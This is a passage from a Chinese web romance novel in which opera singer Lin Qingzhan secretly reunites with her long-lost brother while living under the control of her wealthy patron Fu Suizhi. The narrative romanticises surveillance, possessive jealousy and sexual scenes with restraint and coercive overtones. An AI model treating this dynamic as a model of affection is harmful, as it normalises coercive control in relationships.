这天早上表演完后,兰青翎过来找她,说是台里在唐氏裁缝铺那边定了一批新的戏服,原本兰青翎今天要过去确认款式,台里突然有事,想让林青盏过去一趟。 林青盏闲着无事,点头答应。 她给司机打了电话,让司机带着她去了趟唐氏老裁缝铺。 老裁缝铺在东源河边上,轿车只能开到巷口。 林青盏让司机靠边停下,她下了车,脚踩高跟鞋往里面走去。 东源河这一片都是石条巷子,路不算平,她走路缓慢很是小心,去了趟裁缝铺,跟老裁缝们打了招呼,说是望月台的人,裁缝师傅赶忙拿出设计的款式让她仔细看了看。 之前望月台的戏服都是在这边定做的,双方合作了十几年,默契都在,裁缝师傅设计的款式很好,林青盏只提了几处需要修改的细节。 结束后,她跟老师傅们道了谢,走出裁缝铺。 没想到,会在裁缝铺门口遇上李若曦。 林青盏原是想当做没看见,却不想李若曦走过来拦住她的去路,“林小姐有时间吗,能不能聊两句?” 林青盏淡然看了李若曦一眼,“我和李小姐之间应该没什么好谈的。” 兰青翎早前就说过,林青盏看着性情温柔,但骨子里很是执拗,她这人平日里都很好说话,但也不是随意人欺负的。 李若曦当初那样当众羞辱林青盏给她难看,林青盏自然不会再和善对她,随意人践踏尊严。 她拿着手提包,绕过李若曦要往巷口走去,李若曦抓住她的手臂将人拽住,“林小姐,我今天是专门来找你道歉的。” 林青盏挣脱了下将手臂抽出,抬眸看向李若曦,桃花眼里沉着清冷。 李若曦看着她,有一刻感觉好似看着淡漠的傅随之。 “林小姐,之前在海城是我失言了。我没有搞清楚你和三爷的关系,口不择言,伤害了你,我今天郑重跟你道歉。希望你能大人不记小人过,原谅我。” 缓了几秒钟,林青盏才开口道:“李小姐的道歉我收下了,但原不原谅是我的事情。” 李若曦望着林青盏,神色快要绷不住。 她从小喜欢傅随之,每次傅随之去宴乐门看望她母亲的时候,李若曦总是想方设法去靠近,但傅随之每次都是冷冷的态度。 她知道傅随之性情如此,这么些年他身边从未有过女人,她还能自我安慰,傅随之不喜欢女人罢了,不是不喜欢他。 可前段时间,傅随之养了只金丝雀的消息传遍浮城,上流圈的人都在说这件事。 李若曦看不上林青盏,那天遇到压根不想给她好脸色,她所说的都是她心底想的。 她讨厌林青盏,林青盏不过是傅 随之玩弄的金丝雀,有什么好得意的。 没想到她竟然会搬来傅随之当救兵,当众让李若曦出糗,现在还让傅随之抽回宴乐门的投资。 李若曦的母亲李昭华是宴乐门的团长,知道傅随之要撤回投资后,李昭华大发雷霆,还逼迫李若曦要来给林青盏道歉,请求她原谅。 李若曦再不爽,也知道李昭华心底担忧是对的。 如果傅随之以后都不投资宴乐门,不为宴乐门撑腰,那宴乐门以后必然一落千丈。 想到这儿,李若曦咬了咬牙,对着林青盏深深一鞠躬。 “林小姐,都是同一行的,你应该知道现在戏曲团要存活下来有多难。以往宴乐门一直有三爷撑腰,现在三爷突然收回所有,宴乐门怕是撑不了多久。能不能请林小姐大发慈悲,跟三爷说一声,不要收回给宴乐门的支撑?” 林青盏没想到向来趾高气昂的李若曦会在她面前低头,眼眸深处有着惊诧,但也仅仅如此。 “李小姐不是很清楚么,我不过是三爷养在身边的金丝雀,说话做不得数。” 她撩起浓密眼睫,眼神清冷看向李若曦,“更何况,我如此不堪的人,从来不接受别人的道德绑架。宴乐门会有如此的劫难,难道不是因为李小姐的行为导致的?我记得李小姐一向能言善道,为何不直接去找三爷求情。毕竟这件事是他发话的,要求情也应该去找三爷,不是么?” 丢下这话,林青盏转身离开。 李若曦气得脸色扭曲,冲到她面前再次拦住她,“林青盏,你在得意什么?你以为三爷是真的喜欢你,你能一直在三爷身边吗?” 林青盏抬眸看她,神色很平淡。 “我说的话哪一句不对了。你一个唱戏的,怎么可能进得了傅家大门?你现在的得意不过是因为三爷对你一时的兴趣,等三爷的兴头过了,你也只能灰头土脸地从他身边滚开!” 林青盏觉得这人真是不可理喻,压根不想理会,推开她往巷口走去。 李若曦还在身后叫嚷着,“你还不知道吗,傅家那边已经给三爷择定了未婚妻。指不定他很快就要和沈钰铭结婚了。” 林青盏权当没听到,直径往前走。 到了巷口,她拿出手机给司机打了电话,司机说在街对面的停车场,五分钟就能到,请她稍等片刻。 林青盏将手机丢进手提包,抬眸看到路边的宫粉羊蹄甲开得正艳,远看好似一片美丽的樱花。 她拿出手机拍了张照片,打开微信,习惯性发给了顾蝉,只是她最近在临城有工作,没日没夜地忙碌,一时间没有回复。 她退出顾蝉的聊天框,看到最上面傅随之的账号。 他的微信头像是一片黑色,第一次看到的时候,林青盏都怀疑他是随便对着他的黑色衬衫拍了张照当头像,黑乎乎一片什么都没有。 两人之间的微信对话几乎没有,都是林青盏单方面发给他的。 因为他要求她什么事情都要及时报备,林青盏做什么都会发给他,但他从来不回复。 迟疑了三秒钟,林青盏将照片转发给他,附上留言:「花很好看。不过我还是比较喜欢海棠花。」 这时,旁边突然传来鸣笛声,林青盏以为是司机,抬眸看过去,发现坐在车里的竟然是上次意外见到的林博蘅。 林博蘅依旧穿着白色衬衫,风光霁月的模样,对她露出和煦的笑容。 “林小姐,没想到会在这里见到你。” 林青盏弯腰看向他,“林先生。” “林小姐是出门来办事?” 林青盏解释是有戏服要比对过来裁缝铺这边,林博蘅点了点头,“需要送你一趟?” “不用,我的车已经过来了。” “好的。”林博蘅想起件事,“听说下周望月台排了林小姐的戏?” “是,下周演的都是《牡丹亭》。如果林先生得空,可以过来看看。” “这是林小姐的邀请吗?” “当然。” 林博蘅笑容更甚,“既然林小姐邀请,那我必然到场,希望林小姐给我留个好位置。” “期待林先生的到来。” 话音刚落,黑色的迈巴赫停靠在林博蘅车辆前方。 林青盏打了招呼,“我的车来了。林先生,再见。” 等林博蘅点了点头,她转身往迈巴赫走去,快速上了车。 迈巴赫驶出,林博蘅才将后车窗降落下来,露出贺兰承那张精致的脸庞。 林博蘅转头看贺兰承,“你还不跟她相认?我看她一直在找你。” “不着急,也就这几天。” 贺兰承长相清冷,眼眸里毫无温度,看着迈巴赫消失在路口,才收回视线看向林博蘅。 “傅清檐和傅鸿源那边调查得怎么样?” “事情久远,调查起来不容易。不过有些头绪了。” 贺兰承转头看向窗外的风景,脑海里闪过海城蔚蓝的天空,空气都是海盐味的。 马来西亚首富之子贺兰承是他对外的身份,他的真名叫林解,也就是林青盏的哥哥。 当年他因为争夺食物和几个小混混打架,后来被人突然带走,关在小黑屋里面好几天,他以为是那些混混的恶作剧。 后来才知道,其实抓他的是傅清檐。 当时林解不过十四岁,还是个小孩,面对有权有势的傅清檐,心底是害怕的。 傅清檐说他父亲林峰平当初从傅家带走了一样东西,问林解有没有看到,让他要交出来,不然就把他丢进海里,连他妹妹也会跟着一起死。 林解小小年纪,自然是怕死的,但为了保护妹妹,他只能跟他们几个周旋。 他骗他们说,林峰平之前住在海城,在海里停靠了一艘船,东西可能藏在上面,让傅清檐的人跟他一起去找。 傅清檐以为他小小年纪不敢说谎,当真派了个叫“符裕河”的和他一起去了海城。 林解将人骗到海中央,直接从海里跳下去,他熟悉水性,原本是想游到附近的观景海域,上了观光船就能逃上岸。 没想到那符裕河是个狠人,直接往海里丢刀子,林解被弄伤不省人事,恰好被观光船上的贺老看到救起。 他在海城养伤两个月,求着贺老帮他去找妹妹,贺老看他身上有股狠劲,特别钟意,就提出条件,只要林解答应给他当儿子为他办事,贺老就帮他去找妹妹。 林解无奈答应。 贺老的人去而复返,带来的消息说,林青盏已经被慕家的人安排在望月台,慕家是傅清檐的走狗,林解知道他们是将林青盏监控了起来。 当时他身负重伤,没有半点能力,就算是把妹妹带走,也不见得比在望月台安全。 贺老提出让他信守承诺跟他一起回马来西亚,林解最终答应下来,也提出条件,要贺老安排人在望月台看护林青盏,只要确保她平安就行。 贺老这辈子见过许多人跟他提条件做交易,但还是第一次见到有个小孩哥跟他做交易时,面色不改,比他那几个亲儿子都沉稳。 最终他答应下来。 林解就这么去了马来西亚。 贺老虽然有十几 个儿子,但没有一个忠心于他的,全部都借着娘家的权势想着争夺他的家产。 林解跟着贺老二十几年,忠心耿耿,近几年贺老年纪大了,林解更是鞍前马后伺候着他,到了前年,贺老松口让他接管了贺氏集团。 这些年,林青盏在这边的生活,他几乎都知道,好几次林青盏遇到困难都是让林博蘅背地里为林青盏解决掉的。 林解是想着,自己在马来西亚也是水深火热,如果将林青盏接回马来西亚暴露她的身份,反而会给她带来危险。 直到前段时间,林博蘅传来消息,说林青盏被慕觞淙送给傅随之,林解这下坐不住,他稳住了马来西亚那边的人,这才得空回来找林青盏。 林青盏跟着慕觞淙,心底喜欢也就罢了。 慕觞淙这种人背景不怎么样,为人斯文,即便想扩大慕家,但手段和能力也就那样,压根翻不出什么浪花。 而且慕觞淙事业心太重,一门心思想光复慕家,绝对不可能跟林青盏长久的,贺兰承知道他们终有一天会分开。 左右有林博蘅护着,林解不怕林青盏出事。 但傅随之不一样。 他可是傅家掌权人,这人性情狠毒,上位者姿态太强,林解担心林青盏跟在他身边会有危险会出事。 林博蘅笑:“我找人打探过了,据说傅随之对你妹还算可以,要什么给什么,现在为止,倒是没有为难她的迹象。” 那晚见过傅随之后,贺兰承并不喜欢傅随之这人,眼神过冷,没有任何温度,看着就不是好男人,配不上他的宝贝妹妹。 他冷笑,甚至不屑于谈傅随之。 林博蘅:“行了,知道你不喜欢傅随之,说正事。” 贺兰承转头看向林博蘅。 “外人都说傅清檐近几年逐渐不管事,手里的权利都转移给傅鸿源,小部分由傅鸿浠在处理。但仔细调查下就知道了,傅鸿源和傅鸿浠都成不了事,不然也不会被傅随之压得死死的。其实背后推手还是傅清檐,这人老谋深算,即便是现在退位了,还是能掌控格局制衡傅随之,不容小看。” 林博蘅对上贺兰承的眼眸,“要想调查清楚当年的事情,还是得从傅清檐下手。” “继续调查。” 当年父亲带着母亲开车去送货,突然出了车祸当场死亡,林解和林纾泣不成声,对未来很迷茫。 好在有亲戚帮忙料理后事。 给父亲守灵的晚上,林解无意中听到他们在议论,说林峰平运气太背了,被逆行的大卡车撞上,车都碾压得不成型。 后来他在调查这件事的时候,发现傅清庭当初出车祸也是同样的情况,这显然不可能是巧合—— 作者有话说:哥哥出场!以后小盏也是有人撑腰的人了! 傅随之:那我算什么? 第39章 月底,望月台推了《牡丹亭》上来,连续一周午后三点准时开场。 林博蘅那边让人送了鲜花过来庆贺,这事儿立马传到傅随之耳朵里,他在公司发了一顿脾气,但坚决不会去林青盏面前承认他的不爽。 那天晚上,林青盏被他关在卧室里闹了四个小时。 她觉得莫名其妙,耐不住傅随之的强势,只能把傅随之脖子挠花了才被放下来。 隔天,傅随之让秦楠亲自往望月台送了海棠花,工作人员在门口一批一批将海棠花往里面搬,占满了整座院子。 这举动极为高调,不过半日浮城上下都知道。 往来客人闻到海棠花香,都要感慨一句,傅三爷竟也懂得浪漫。 顾蝉听林青盏说起这件事,笑着调侃,“有生之年,看到傅三爷吃醋,好精彩啊。” 林青盏脸色泛红,“他不是吃醋,就是——” “是什么?” “占有欲。” 顾蝉笑:“这两者意思没有太大区别。傅三爷啊,现在默认你就是他的人,别人是连献殷勤都不行的。” 傅小灵也跟着言语暗示过几次,说傅随之对她确实很在意,提醒林青盏往后有什么事情,记得跟傅随之报备,终归是不会错的。 某天晚上,林青盏得空跟傅随之说起之前和林博蘅路边碰到的事情,让秦楠代为出面,给林博蘅那边发了邀请函过去。 傅随之倒是没拒绝,虽然是林青盏的邀约,但他的人送出去的邀请函,意蕴再清楚不过,他们就是一体的。 那几日刚巧有事,傅随之去了趟加拿大,人不在,还是会让人往望月台送花过来。 还让傅小灵整日跟着林青盏,活像是怕人跑了似的,弄得林青盏哭笑不得。 林博蘅收到邀请函,当真来望月台捧场。 演出结束后,林青盏卸了妆才往包厢而去,要跟林博蘅打声招呼。 傅小灵敲门后,房门被拉开,林博蘅亲自过来迎接,看到林青盏露出和煦笑容,“林小姐,请进。” 林青盏点了点头,迈过门槛往里面走,抬眸才发现里面坐着另一男子,目光不经意扫过那人脸庞,随即怔住。 太像了! 贺兰承坐在位置上,并未起身,手指端起茶杯喝了口茶,这才抬眸看向林青盏,微微点头。 林青盏目光紧紧盯着他,心底的疑惑像是海浪翻涌而来,可更多的是不确定。 是林博蘅出声提醒,“林小姐坐下喝杯茶?” 林青盏缓过神来,走到贺兰承面前坐下,视线依旧落在贺兰承脸庞。 那眼眸跟她记忆中的一模一样,但脸型轮廓锐利许多,林青盏还是不太确定。 她深吸了口气,不动声色端起茶杯喝了口,笑着跟林博蘅说道:“既然是到了望月台,那应该我请林先生喝杯好茶。” 她转身嘱咐傅小灵去后院她房间里,将傅随之前专门为她带回来的好茶拿来,傅小灵不疑有他,转身出去了。 包厢门再次被关上,林博蘅在门口静听了十几秒,确认傅小灵离开后,才转身对贺兰承点了点头。 林青盏注意着他们的举动,心底澎湃。 贺兰承摘下金框眼镜,对上林青盏探究的目光,“小灯笼,是我。” 林青盏指尖的茶杯瞬间被打翻,她无暇顾及,只站起身躲开滴落的茶水,目光死死钉在贺兰承身上。 “哥……哥?” “是我。” 贺兰承五官长得极为精致,一张脸像是捏出来似的,这些年阅历多了,眼眸深处没有以往的坚韧和单纯,反倒是透着一股清冷。 是在对着林青盏的时候,他嘴角才有了笑容。 他站起身,走到林青盏面前,伸手弹了弹她的额头,“不记得哥哥了?” 林青盏下意识往后退,保持着礼仪,“你是林解?” 贺兰承蹙眉。 知道林青盏这些年一直在找他,他早就想回来跟她相认,只是马来西亚那边局势一直不稳,他才等了这么多年。 今年贺老身体不太好,他几乎将权利握在手里,才终于得空回来。 他以为林青盏看到他会扑到他怀里,将这十几年的委屈都哭出来,万万没想到她会这样防备的模样。 贺兰承点头,“我是林解,你哥哥。” 林青盏:“不好意思,不是我不相信你。只是这事太让人意外,有些事情我需要确认下。” 话倒是很有道理。 贺兰承点头,“可以。” “你说你是林解,你怎么证明?” 贺兰承望着林青盏,一直以来的平稳在这一刻被打乱。 他一直在暗处看着林青盏,找了人在望月台照顾她,还让林博蘅时刻关注着林青盏的动向,他知道她的所有事情,可她对他一无所知。 他不在的这十六年,林青盏面临了太多,已经不再是当初总是躲在他身后满眼纯净的妹妹,而是变成满身戒备的大人。 贺兰承耐心解释,“你叫林纾,既纾此顾思归矣的纾,你小名叫小灯笼。因为妈妈怀你的时候,在街头遇到卖灯笼的老大爷说学过算命,他指着妈妈的肚子说,这女儿真是打着灯笼都不好找,竟然投胎到我们家。他还说虽然会有些波折,但最终是大富大贵的命。所以,妈妈就给你取名小灯笼。” “爸爸叫林峰平,妈妈是宁小微。我出生在浮城,你是在海城出生的。我们之前住在海城郊区,那地方靠海,爸爸妈妈在厂里上班,爸爸是司机,妈妈是会计,每天都很忙。小时候都是我在带你的。” 林青盏目光落在贺兰承脸上,神色缓和了些许。 但心底还是存疑。 毕竟这些信息只要有心调查,都能查到。 贺兰承继续说道:“我们住的那地方有条街叫月亮街,街头有一家很大的大排档,到了晚上,大排档前面会亮着很大的月亮和星星灯。每次吃 完晚饭,你就会嚷嚷着叫我带你去看月亮。” 林青盏凝神看着面前的人,“你真是我哥哥?” “是。” “那你还记不记得小时候,爸爸给我买了个紫贝壳,后来我不小心给弄丢了。那是在什么时候弄丢的?” 贺兰承听出了她的试探,轻笑一声,“爸爸给你买的不是紫贝壳。你五岁那年,爸爸去港城,给你带回来一个紫色风铃,里面有薰衣草的那种款式。你很喜欢很宝贝,都不舍得挂在窗台,而是拿木盒子装起来,藏在你的枕头下。我打扫房间的时候,不小心给打破了。你很生气,三天三夜没理我。后来,我给你做了个紫贝壳风铃,你才原谅我。” 话音落下,林青盏扑过去抱住贺兰承,“哥哥,这些年你去哪儿了啊?我还以为再也见不到你了!” 贺兰承拍了拍林青盏的脑袋,在这一刻,终于感觉到妹妹在他怀里的真实感。 这边兄妹相认,感天动地,站在门口的林博蘅迟疑着提醒:“人快回来了。” 贺兰承揉了揉她的头发,“记住了,我现在叫贺兰承,是马兰西亚首富贺老第十三个儿子,现在的贺氏总裁。林解十六年前失踪了,你至今找不到他。我们相认的事情,不要告诉任何人。林博蘅是我的人,有事情就找他。” “好。” 林青盏将眼角的泪滴擦干,跟着贺兰承回到圆桌坐下。 贺兰承:“傅随之的人看得紧,要跟你独处不容易。有事情,你就给林博蘅打电话。后面我会换着号码跟你联系,傅随之疑心重,你自己要注意。” “好。” 十六年了,哥哥突然出现在面前,林青盏情绪多少有些收不住。 可为了不让傅小灵看出什么,她得咬着牙忍着,现在脑袋完全空白,只愣愣望着贺兰承,他说什么,她都点头答应下来。 林博蘅抽了纸巾递给她,“小纾,先镇定。” 她转身看林博蘅,“所以,上次在拍卖会上,林先生看到我就知道我哥和我的关系?” 他笑容温和,“我一直知道。” “我和博衡十几年前就认识,有着过命的交情,你可以放心。这些年,我也是拜托他在浮城照顾得你。” 林青盏捏着纸巾压了压眼角。 取了茶叶后,傅小灵敲门推开走进来,看到林青盏和林博蘅在聊天,说得都是今天表演的《牡丹亭》,旁边坐着的贺兰承全程无言。 傅小灵目光扫过去,不疑有他,将茶叶递给林青盏。 林青盏莞尔一笑,“小灵辛苦了。” 说罢,她取出一块茶叶,撬开来,为林博蘅他们沏了一壶好茶。 林博蘅宣称自己是戏曲爱好者,跟林青盏聊得都是昆曲的事儿,傅小灵听了个全程,回去就跟傅随之做了禀报。 傅小灵声称没有什么异常,傅随之却觉得奇怪。 这几天,傅慎已经让人将贺兰承调查清楚。 据闻这个私生子是贺老之前在海城找了个女人解决生理需求,没想到被那女人算计生下了个儿子,开始贺老一直不知道他的存在。 过了十几年,那女人突然打电话过来通知贺老他有个儿子,因为那女人生病命不久矣,希望贺老能将儿子带走好好养育。 最终贺兰承才回到贺老身边。 贺兰承性情聪慧清冷,身上还有股狠劲儿,和贺老年轻时候很像,很得贺老喜欢,一直带在身边教诲。 他和林博蘅是早年在非洲遇到过事故,有着过命的交情。林博蘅也是如此攀上贺老,才能在国外频频投资成功,这才让林家重新发展起来。 林博蘅这人在浮城名声很好,贺兰承有意借着林博蘅的助力,回国投资发展,所以这次才会从马来西亚过来。 可是林博蘅怎么会带着他去望月台? 只是单纯带着友人去望月台看戏款待? 私人飞机上,傅随之将电话丢在桌面,端起旁边的葡萄酒喝了口,对傅慎交代,“找人盯着贺兰承和林博蘅。” “好。” 这次去加拿大是专门去和港城靳家谈合作,连续三天几乎没有闭眼,傅随之很疲乏。 他摘下金丝眼镜,捏了捏鼻梁。 秦楠见了不忍问一句,“爷,你都这么累了,怎么不在酒店先睡一觉。林小姐在家里,又不会跑掉。” 傅随之将眼镜搁在桌面,站起身看秦楠,“怎么,我现在还得跟你禀报我的安排?” 这会儿他没戴眼镜,那双浅棕色眼眸更显犀利,望着秦楠像是要丢出锋刃似的,秦楠低下头不敢再说话。 傅随之转身走进休息室,打算去换身衣服休息会儿。 傅慎抓着秦楠的脖子,声音很低:“这段时间爷对林小姐和颜悦色了些,你就忘记爷的真性情了?” 秦楠瘪嘴,“我哪里知道——” 哎,确实是他太白目了。 要知道以往的傅随之,可不是他们能议论半句的。 这段时间,傅随之顾及林青盏在,平日里行事风格没有那么张狂,秦楠确实都快忘记了傅随之原来的模样。 傅随之可是吃人的豺狼,万万不可试图去触碰他的胡须!- 哥哥突然找到了。 这件事还是让林青盏心情很复杂,喜悦自然是有的,只是现在心底有太多疑惑,压根没有时间询问,她只觉得脑袋一团乱糟糟。 贺兰承行事十分小心,联系方式都没有留下,只说有什么紧急的事情就找林博蘅。其他时候,只能等着他联系。 两人相认的事为什么不能对外,这点林青盏可以理解,贺兰承现在身份不一般,有些事不能草率。 不过她现在才反应过来,她在游园惊梦看到的那条关于林解的收养记录不太对劲。 贺兰承说他当时是被傅清檐抓走,逃走后被贺老救下,跟那条记录不一样。 他都不是被棠严峻带走的,为什么棠严峻的记录里有林解的收养记录? 有太多想问的,可是傅小灵在,不便开口。 林青盏全然当做什么都没发生,跟着傅小灵回了海棠湾。 和平日里一般,她吃完饭去玻璃花房里赏花片刻,看时间差不多就回了房间。 以往她十点便能睡下,今夜却翻来覆去睡不着,迷迷糊糊中像是没了意识。 突然间,她像是被什么捂住了脸,慌忙无措地睁开眼睛,看到傅随之那张清冷至极的脸庞。 傅随之双手撑在她身侧,低头蹭了蹭她的唇,声音低哑得可怕,“今天跟别的男人见面了?” 下一秒,她的腰被狠狠掐住。 卧室角落里亮着海棠花形落地灯,投射出浅浅的暖橙色光芒,将傅随之的脸庞轮廓衬托得有些柔和。 只是他的眼神却不是如此。 浅棕色眼眸深处藏匿着海啸般暴烈的情绪,林青盏轻而易举地感受到了他的不高兴。 傅随之面无表情地低头来吻她,蹭了蹭她的嘴角,逐渐往下,舌尖舔着她的脖颈,随后用力咬了下去。 林青盏思绪还未完全清醒,感觉到脖颈传来如针扎般的疼痛,下意识抓住他的衬衫衣角,“傅随之!” 以往,她胆怯不敢越界,总是循规蹈矩地唤他“三哥”,这倒是第一次,她略显气急败坏地直呼他名字。 傅随之原本情绪不佳,被她这一声娇嗔拂去心头的恼怒,抬起头看她。 “叫我什么?” 她睡觉睡一半被吵醒的,挣扎间身上的米白真丝睡裙往下滑落,露出白皙的肩头,乌黑长发犹如瀑布散落下来,美丽锁骨隐约可见。 傅随之看着她,嘴角慢慢扬起弧度,温热指腹贴着她白皙额头,为她将稀碎的发丝往后拂去,而后手肘撑在她身侧,垂眸看她。 “嗯?” 林青盏纤细指尖拽着他的衬衫下摆,“傅随之。” 她当真敢叫。 傅随之笑出声。 林青盏娇嗔:“你过分!” “我过分?”傅随之捏了捏她的脸颊,“我不过是出差几 天,你就背着我跟其他男人见面。是我过分,还是你过分?” 这段时间相处下来,林青盏已经不怕他。 她挪了挪身子,避开他那明显的弧度,找了个舒服的姿势躺着,从下往上望入他幽深眼眸。 “你这话也过分。”林青盏红唇瘪了瘪,“什么叫我和其他男人见面,说得像是我越轨去找其他男人一样。” “你敢。”他冷笑。 林青盏腰身往旁边挪,避开了他那炙热的掌心,“我是不敢呀。” 傅随之垂眸看她。 “本来就是没有的事情,被你说得特别难堪。” 林青盏细长手指勾住他的衬衫衣领,将他往下拉,嘴唇几乎就要贴上他的。 “林先生是昆曲爱好者,不过是识才过来听曲,我作为东道主款待一二。他在我这儿算不上‘别的男人’,三哥懂么?” 她虽然演绎过很多剧本,那些古话本里什么震慑人心的惊奇情节都有过,她也曾演绎过放浪形骸的女子,只是她自己性情偏传统,终归说不出太过露骨的话。 这隐晦表达,说的是跟她身心契合的男人只有过一个,那就是他。 傅随之眉宇间的不悦散去,取而代之的是发自内心的欢愉。 她还是没能逃脱得了他炙热的掌心,被他狠狠箍住往他怀里拽的时候,她“哎呀”了一声,犹如鸿毛般贴在他之上。 身穿黑色衬衫的男人换了方位,半倚靠在床头,充满.欲.望的眼眸望着她,“帮我脱。” 林青盏垂眸看了眼他结实的胸肌,迟疑着没动。 他低笑一声,对她的羞赧了如指掌,他抓住她的指尖贴在他衬衫衣领。 她抿了抿唇,为他将衬衫扣子一粒一粒解开,露出他胸膛盛开着的两朵海棠花。 与此同时,她身上的真丝睡裙被用力一扯,裂成两半。 她举手想压住胸前的那一片真丝碎布,却被他用力一抬,几乎袒露在他面前。 他低头咬住- 傅随之的作息一向规律,昨夜做到两点多才睡下,隔天他照旧七点起来运动。 结束后,他去了餐厅用餐,傅小灵在旁边伺候着,低声仔细说着这段时间跟在林青盏身边发生的事情。 从头到尾,傅随之都垂眸认真吃着早餐。 傅小灵:“那天的邀请函,就是秦楠送去的,林博蘅给了回帖说一定到。那天开场前,他带着贺兰承一起过来,两人全程都在包厢里听曲儿。表演结束后,林小姐才过去跟人打招呼。” 她看了看傅随之,心底直打鼓,“过去后,林小姐看到他们桌面摆放着的是台里送的茶叶,就让我去取点茶叶过去。我去房间里拿了后,很快回去了。林小姐和林博蘅贺兰承都在包厢里面,看着确实没什么异常。” 傅随之神色淡淡“嗯”了一声。 傅小灵松了一口气,继续说道:“林小姐这边没发现什么,倒是傅府那边听说最近很热闹。” 傅随之抬眸看她,“半个月前老夫人就让人亲自去沈家把沈钰铭带了过来。这半月沈钰铭住在老夫人老爷子院子里跟着伺候不说,老爷子已经对外宣布说沈钰铭就是——” 她顿了顿,傅随之有所感知,神色依旧清冷,“说下去。” “说她是未来的主母,让院子里的人都得对她客客气气的。沈钰铭倒是适应得很快,前几天还去了一趟海棠苑,说是要进去看看,被苑里的人拦住了。” 傅随之冷笑。 他的地方,那个女人倒是敢,还想私自去看看? “通知那边,谁都不许进,狗也别放过。” “是。” 她禀报完,傅随之就让她先下去了。 傅慎和秦楠一直等在一旁,这才走上前来,将一垒文件放在傅随之面前,提醒他这些文件都要签字。 傅慎站在边上,为他翻开合同的签字页,让他签字。 秦楠则在一旁禀报:“傅清檐这段时间都待在自己院子里,没什么动静。倒是傅鸿源那边上蹿下跳的,上次送到他手里的那块地直接砸在手里,他现在手里压根没有资金,一直在跑银行谈借贷,另外也约了几个投资方,这其中就有贺兰承。” 傅随之修长手指捏着签字笔,签下的名字苍劲有力龙飞凤舞,他的神色却矜贵清冷,没有半点波澜。 “贺兰承和林博蘅历来有联系,林博蘅发家的那些项目多半也是和贺氏集团有关。他靠着贺氏集团打开了国际大门,参与了好几个国际项目,赚得不少。一直以来,贺家也是借着林家往国内投入资金,获利颇丰。但是贺家的人一直都未回国。这次贺兰承回国也没有半点征兆。” 秦楠凝神:“或许爷思虑不假,这个贺兰承很可疑。” “让人继续盯着他。” “好。” “傅鸿源那边接触人很多,但真正敢投的人没几个,估计还能磨一阵子。倒是傅鸿浠那边看着安静,其实已经悄悄攀上港城靳家,这段时间估摸着要往港城那边转移资金。” “随他。继续盯着有消息来报就行。” 秦楠点头,“另外下个月就是老爷和夫人忌日,一切照旧么?” “嗯。” 每年这段时间,傅随之的情绪不好,他们几个也不敢多说什么。 反正祭祀每年都一样,其他的倒是不用多问。 秦楠抬起头刚好看到楼上走下来的人,立马闭了嘴,其他的也暂时搁置,没敢继续报备。 傅随之有所感知,回眸对上林青盏那清澈的眼眸,挥了挥手让傅慎和秦楠下去。 刚醒来没看到傅随之,林青盏还以为他已经去公司了,没想他竟然还在楼下。 只是神色怎么看着不太好。 难道还在为昨日提的事情不悦?—— 作者有话说:小纾:他好像还在生气,要不要哄哄他? 作者:哄吧,不然他会爆炸!! 小纾:可是怎么哄啊? 作者:这对你来说很容易!!上!! 第40章 她走到餐桌前,对傅随之说了声:“早呀。”而后坐在傅随之对面。 两分钟后,傅小灵为她将早餐端过来,一一摆放好。 林青盏抬眸说了声“谢谢”,开始用餐。 傅随之很注重用餐礼仪,平日里吃饭的时候鲜少说话,林青盏知他的习惯,也没敢开口。 两人沉默着用餐,傅随之先吃完但未离场,等着她吃完了,才站起身走到院子里的单人沙发坐下,拿来旁边的烟点燃。 他常吸烟,烟瘾很大。 但他会顾及身边人,平日里在家都是在吸烟区抽烟,即便是事后很想来一根的时候,他也会去阳台。 林青盏跟着他出去过很多次,他们兄弟几个都抽烟,但基本上不会当着他们女人的面抽。 这是他们不成文的礼仪。 以往傅随之去院子里抽烟,她都是远远看着,只是今日见他神色不明,她想了想还是走过去。 别墅的客厅四周都有玻璃门,通往院子的那边有一片很大落地玻璃门,旁边留着小小的推门。 林青盏推开玻璃门走出去,在傅随之面前站定。 傅随之身穿黑色衬衫和黑色西装裤,双腿交叠,悠然往后靠在沙发上。 他指尖染着的烟腾起缭绕的白雾,衬得他的脸庞好似有些迷离。 烟雾缭绕里,傅随之抬头望向她,“出来做什么?” 林青盏指尖捏着柔顺的长裙摆,转身坐到他腿上,动作轻柔,很出人意料。 傅随之赶忙举起手臂,将那冒着火星的烟拿开了些许。 “搞什么,不怕烫到。” 林青盏抬眸看着他捏着的烟,“你什么时候开始会抽烟的?” 傅随之原是想将烟掐灭,不想呛到她,但听她这么一问,反倒是将烟蒂凑到唇边,猛吸一口,随后对着她吐出烟雾。 “想知道?” “嗯。”林青盏点了点头,“三哥连我跟什么人见面都管,我不能问问你的事情吗?” 傅随之眼神不明望着她。 林青盏心底打鼓,还是咬牙说道:“这事我们不是说清楚了嘛,林先生只是喜欢听曲,我招待客人。你昨晚都那样——” 说着,她就想起昨晚这人是如何霸道。 将她捆在床上,从背后一次次贴过来时,弄得她无力支撑不说,后来还将人摁在落地窗上—— 林青盏想起来昨晚他逼迫她低头看到的画面,耳廓都红了。 傅随之原本清冷的眼眸,被她这一抹红晕吸引,叼着烟,宽厚手掌捏着她的下巴迫使她抬起头,对上了他的浅棕色眼眸。 “昨晚怎么?嗯?” 说罢,大拇指沿着她红润的唇线往里面钻,很快勾住她灵活的舌尖。 昨晚也是如此,他将她抱起来,让她后背贴着冰凉的落地玻璃,一次次,还要用这只手勾着她的舌尖挑逗她,让她去看。 现在可是大白天,身后一整片空旷的花园里还有工人在锄草! 林青盏将他的手臂抓开,“怎么样,你自己清楚!” 她气急败坏,最后往他胸口锤了一拳,“反正是你过分,你霸道!” 傅随之轻笑一声。 林青盏修长手臂搭在他肩膀,望入他眼眸深处,“难道我跟了你,就不能跟其他男人再说半句话不成?” “不行。” “霸道!!” 傅随之算是看出来了,这人看似伶牙俐齿,但其实翻来覆去就这么两句。 怪可爱。 他手掌卡着她的腰肢,“让我再看到你和其他男人说话,就——” 他顿了下,反倒是勾起林青盏的忐忑,她手指抓住他的衬衫衣领,听到他继续说道:“操.到你下不了床。” “……” 这人明明看着清冷冷酷的禁欲总裁模样,可是私底下说起这些,脸不红心不跳的! 昨夜抱着她的时候,说的话更粗俗,一边说还一边磨着她。 看来是真干得出来这种事。 她不想再招惹他,“问你问题又不说,不说我走了。” 她脚踝落地,想起身离开,却被他拽回又跌入他怀中。 下一秒,她的脚丫子被他抬起,她整个人几乎是蜷缩在他身上,如玉脚踝被他炙热手掌包裹住。 